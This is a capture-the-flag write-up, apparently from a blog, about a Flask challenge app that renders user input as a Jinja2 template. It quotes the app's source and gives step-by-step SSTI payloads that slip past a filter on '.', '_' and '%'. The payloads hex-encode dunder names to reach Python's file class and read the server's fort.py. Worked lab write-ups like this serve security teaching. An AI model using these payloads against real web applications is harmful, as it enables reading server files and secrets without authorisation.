A hint in the HTML source -
<!--Source Code: /static/archive/Source -->
Source Code:
from flask import Flask, session from flask_session import Session from flask import request from flask import render_template from jinja2 import Template import fort Flask.secret_key = fort.SECKEY app = Flask(__name__) app.config['SESSION_TYPE'] = 'filesystem' app.config['TEMPLATES_AUTO_RELOAD'] = True Session(app) @app.route("/") def main(): return render_template("index.html") @app.route("/ask", methods = ["POST"]) def ask(): question = request.form["q"] for c in "._%": if c in question: return render_template("no.html", err = "no " + c) try: t = Template(question) t.globals = {} answer = t.render({ "history": fort.history(), "credit": fort.credit(), "trustworthy": fort.trustworthy() }) except: return render_template("no.html", err = "bad") return render_template("yes.html", answer = answer) @app.route("/door/The website takes the POST parameter q and then renders it as template. We are looking at a SSTI problem.") def door(door): if fort.trustworthy(): return render_template("flag.html", flag = fort.FLAG) doorNum = 0 if door is not None: doorNum = int(door) if doorNum > 0 and doorNum < 7: fort.visit(doorNum) return render_template("door.html", door = doorNum) return render_template("no.html", err = "Door not found!")
Trying {{ 7*7 }} confirms SSTI
But _ . % were blocked so to access __class__ we need to bypass this filter
{{ "".__class__ }}
becomes
{{""["5F5F636C6173735F5F"["decode"]("hex")]}}
and the result
answer: <type 'str'>
{{ "".__class__.mro()[2].__subclass__()}}
becomes
{{""["5F5F636C6173735F5F"["decode"]("hex")]["mro"]()[2]["5F5F737562636C61737365735F5F"["decode"]("hex")]()}}
result
There is a file class loaded at [40]
Trying to read fort.py
{{ "".__class__.mro()[2].__subclass__()[40]("fort.py").read()}}
becomes
{{""["5F5F636C6173735F5F"["decode"]("hex")]["mro"]()[2]["5F5F737562636C61737365735F5F"["decode"]("hex")]()[40]("666F72742E7079"["decode"]("hex"))["read"]()}}
Comments
Post a Comment